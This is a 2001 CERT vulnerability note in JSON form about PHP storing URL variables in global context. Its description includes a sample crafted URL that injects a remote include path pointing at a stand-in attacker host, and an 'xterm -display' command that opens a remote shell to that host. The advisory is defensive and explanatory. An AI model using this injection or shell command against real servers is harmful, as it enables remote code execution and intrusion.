{"vuid":"VU#847803","idnumber":"847803","name":"Php variables passed from the browser are stored in global context","keywords":["php","variables","global context","cross-site scripting","css","arbitrary commands","crafted URL"],"overview":"Php is a dynamic scripting language used by programmers to develop webservers, message boards, chat applications and a variety of programs. By default php stores variables passed from the URL in a global context. Programmers often fail to change this setting which can allow serious vulnerabilities to surface. Often intruders can exploit the vulnerabilities created by this failure to gain administrative rights to the application or server, manipulate data, and execute arbitrary php code.","clean_desc":"Some applications written in php fail to follow proper programming practices. Global variables are used to store sensitive data, and can subsequently be altered by an intruder to gain access to the system. Often programmers use global variables to store account names, passwords and permission settings. An intruder can easily use crafted URLs to change the values in these global variables and compromise the system as demonstrated by VU#314347. Another example that can lead to a more severe impact is the manipulation of php variables related to source code locations. Assume that there is a file not directly accessed by the browser, but is included by the server from somewhere else called includefile.php. It may be included by the file function.php that contains the line include(\"$includedir/includefile.php\"); If the global variable $includedir is not set in each document that contains the include statement to be executed, then we can overwrite $includedir with a crafted URL like http://vulnerable.example.com/function.php?includedir=http://evil-host.example.com/code When the script is executed on vulnerable.example.com the php interpreter will fetch the file http://evil-host.example.com/code/includefile.php and execute it. This file can contain php code that downloads binaries, executes code,  or starts a shell (e.g. \"xterm -display evil-host.example.com:1\")...). This source will be executed with the same privileges as the running webserver..","impact":"Intruders can exploit these vulnerabilities to gain administrative rights to the application or server, manipulate data, and execute arbitrary php code.","resolution":"Disable global variables from the URL/client. Best programming practices are to not use global variables if at all possible. Do not permit the execution of code that does not originate from the webserver. If you need to use global variables, set variables_order = \"egcps\" in php.ini and set the value of every global variable in every file that the global variable is used.","workarounds":"","sysaffected":"","thanks":"Our thanks to atil <bugtraq@jakob.weite-welt.com> and genetics <veenstra@chello.nl> for the information contained in their posting to BugTraq.","author":"This document was written by Jason Rafail.","public":["http://www.securityfocus.com/bid/3383","http://www.securityfocus.com/bid/3384","http://www.securityfocus.com/bid/3385","http://www.securityfocus.com/bid/3386","http://www.securityfocus.com/bid/3387","http://www.securityfocus.com/bid/3388","http://www.securityfocus.com/bid/3389","http://www.securityfocus.com/bid/3390","http://www.securityfocus.com/bid/3391","http://www.securityfocus.com/bid/3392","http://www.securityfocus.com/bid/3393","http://www.securityfocus.com/bid/3394","http://www.securityfocus.com/bid/3395","http://www.securityfocus.com/bid/3396","http://www.securityfocus.com/bid/3397","http://www.securityfocus.com/bid/3093"],"cveids":[""],"certadvisory":"","uscerttechnicalalert":null,"datecreated":"2001-10-04T16:43:07Z","publicdate":"2001-07-25T00:00:00Z","datefirstpublished":"2001-10-18T15:00:04Z","dateupdated":"2001-10-22T14:22:39Z","revision":32,"vrda_d1_directreport":"","vrda_d1_population":"","vrda_d1_impact":"","cam_widelyknown":"20","cam_exploitation":"11","cam_internetinfrastructure":"10","cam_population":"3","cam_impact":"19","cam_easeofexploitation":"20","cam_attackeraccessrequired":"20","cam_scorecurrent":"17.5275","cam_scorecurrentwidelyknown":"17.5275","cam_scorecurrentwidelyknownexploited":"21.375","ipprotocol":"","cvss_accessvector":"","cvss_accesscomplexity":"","cvss_authentication":null,"cvss_confidentialityimpact":"","cvss_integrityimpact":"","cvss_availabilityimpact":"","cvss_exploitablity":null,"cvss_remediationlevel":"","cvss_reportconfidence":"","cvss_collateraldamagepotential":"","cvss_targetdistribution":"","cvss_securityrequirementscr":"","cvss_securityrequirementsir":"","cvss_securityrequirementsar":"","cvss_basescore":"","cvss_basevector":"","cvss_temporalscore":"","cvss_environmentalscore":"","cvss_environmentalvector":"","metric":17.5275,"vulnote":null}